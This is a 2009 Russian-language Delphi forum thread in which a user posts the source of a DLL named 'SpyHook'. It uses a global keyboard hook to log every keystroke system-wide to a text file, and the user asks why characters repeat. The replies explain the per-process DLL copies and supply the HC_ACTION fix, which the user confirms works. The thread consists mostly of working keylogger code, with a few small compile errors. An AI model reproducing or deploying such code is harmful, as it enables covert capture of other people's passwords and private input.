![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Дублируются перехваченные с клавиатуры символы [WinXP]
Edward © (2009-09-17 12:01:00)Библиотека перехвата нажатия клавиш клавиатуры и печать их файл. Вопрос почему набераемые символы записываются в текстовый файл по несколько раз. Что не так сделал?
library SpyHook;
uses
Messages,
Windows,
SysUtils
var
HookHandle:hHook;
ft:textfile;
function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall;
var
KeyState1: TKeyBoardState;
AryChar: array[0..1] of Char;
// Count: Integer;
begin
// Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
if code < 0 then begin Result:=CallNextHookEx(HookHandle, code, wParam, lParam); Exit; end
else
// if byte(LParam shr 24)<$80 then
if lParam and $40000000 = 0 then
begin
try
append(ft); //(пробуем открыть файл для добавления)
GetKeyboardState(KeyState1);
ToAscii(wParam, lParam, KeyState1, AryChar, 0);
case wParam of 27: write(ft,' <ESC>');
18: write(ft,' <ALT>');
17: write(ft,' <CTRL>');
16: write(ft,' <SHIFT>');
20: write(ft,' <Caps Lock>');
8: write(ft,' <BackSpace>');
46: write(ft, '<DEL>');
45: write(ft, '<INS>');
36: write(ft, '<HOME>');
35: write(ft, '<END>');
38: write(ft, '<UP>');
40: write(ft, '<DOWN>');
37: write(ft, '<LEFT>');
39: write(ft, '<RIGHT>');
112: write(ft, '<F1>');
113: write(ft, '<F2>');
114: write(ft, '<F3>');
115: write(ft, '<F4>');
116: write(ft, '<F5>');
117: write(ft, '<F6>');
118: write(ft, '<F7>');
119: write(ft, '<F8>');
120: write(ft, '<F9>');
121: write(ft, '<F10>');
122: write(ft, '<F11>');
123: write(ft, '<F12>');
91: write(ft, '<Winwows>');
13: writeln(ft, '');
else
write(ft,AryChar[0]);
end;
closefile(ft);
except
Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
exit; {если не получается - выход}
end;
end;
Result:=CallNextHookEx(HookHandle, code, wParam, lParam);
end;
procedure SetHook; stdcall; {установка ловушки}
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc, hInstance, 0);
end;
procedure DelHook; stdcall; {удаление ловушки}
begin
UnhookWindowsHookEx(HookHandle);
end;
exports
SetHook, DelHook, SetHook2;
begin
assignFile (ft, 'C:\Keyhook.txt');
end.
Edward (2009-09-17 13:06:00) [1]Спасибо!
Сергей М. (2009-09-17 13:03:00) [2]
> Code = HC_ACTION
Да, это условие, разумеется, обязательно должно быть проверено.
http://wasm.ru/article.php?article=1001024
Edward (2009-09-17 12:36:00) [3]Если честно, то не очень понял - каким образом в системе существует множество экземпляров. Но методом научного тыка угадал, что в нужно написать так:
if (lParam and $40000000 = 0) and (Code = HC_ACTION) then
вместо просто
(lParam and $40000000 = 0) и это заработало.
Если не сложно скинь ссылку или коротенько о "одновременно существуют множество экземпляров этой DLL".
Сергей М. (2009-09-17 12:11:00) [4]Ты осознаешь, что после установки хука в системе одновременно существуют множество экземпляров этой DLL ?
И каждая из них вправе пытаться писать в файл, если система сочтет нужным вызвать ф-цию KeyboardProc..